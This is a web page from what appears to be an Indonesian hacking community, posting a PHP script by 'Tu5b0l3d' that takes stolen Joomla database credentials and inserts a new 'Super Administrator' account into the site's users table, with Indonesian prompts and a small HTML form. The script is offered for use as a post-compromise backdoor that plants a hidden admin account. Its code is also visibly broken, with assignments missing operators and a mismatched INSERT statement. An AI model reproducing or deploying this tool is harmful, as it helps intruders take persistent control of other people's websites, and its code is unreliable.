facebook facebook twitter rss

auto Create New User Joomla versi PHP

Author: Tu5b0l3d , Published: 14-07-2015

<?php

//Tu5b0l3d
//thx to: IndoXploit, Hacker-Newbie.org

    
if($_POST){
        
$host $_POST['host'];
        
$username $_POST['username'];
        
$password $_POST['password'];
        
$db $_POST['db'];
        
$dbprefix $_POST['dbprefix'];
        
$user_baru $_POST['user_baru'];
        
$password_baru $_POST['password_baru'];
        
$prefix $dbprefix."users";
        
$pass md5("$password_baru");

        
mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");
        
mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");
             
mysql_query("INSERT INTO $prefix(id,name,username,email,password,usertype,block,sendEmail,gid,registerDate,lastvisitDate,activation,params) VALUES('666','ganteng','$user_baru','Tu5b0l3d@gmail.com','$pass','Super Administrator','0','0','25','2011-02-15 16:26:55','2011-02-15 16:26:55',',')");
            echo 
"Sukses<br>";
            echo 
"username: $user_baru<br>";
            echo 
"password: $password_baru<br>";
        }
        else{
            echo 
'<html>
    <head>
        <title>Joomla Create New User</title>
    </head>

    <body>
            <center>
                <center
                        <h2>Joomla Create New User</h2>
                        <table>
                            <tr><td><form method="post" action="?action"></td></tr>
                            <tr><td><input type="text" name="host" placeholder="localhost"></td></tr>
                            <tr><td><input type="text" name="username" placeholder="User DB"></td></tr>
                            <tr><td><input type="text" name="password" placeholder="Password DB"></td></tr>
                            <tr><td><input type="text" name="db" placeholder="Database"></td></tr>
                            <tr><td><input type="text" name="dbprefix" placeholder="dbprefix"></td></tr>
                            <tr><td><input type="text" name="user_baru" placeholder="Username Baru"></td></tr>
                            <tr><td><input type="text" name="password_baru" placeholder="Password Baru"></td></tr>
                            <tr><td><input type="submit" value="Submit"></td></tr>
                        </table>
            </center>
    </body>'
;
        }

?>

Like us on Facebook :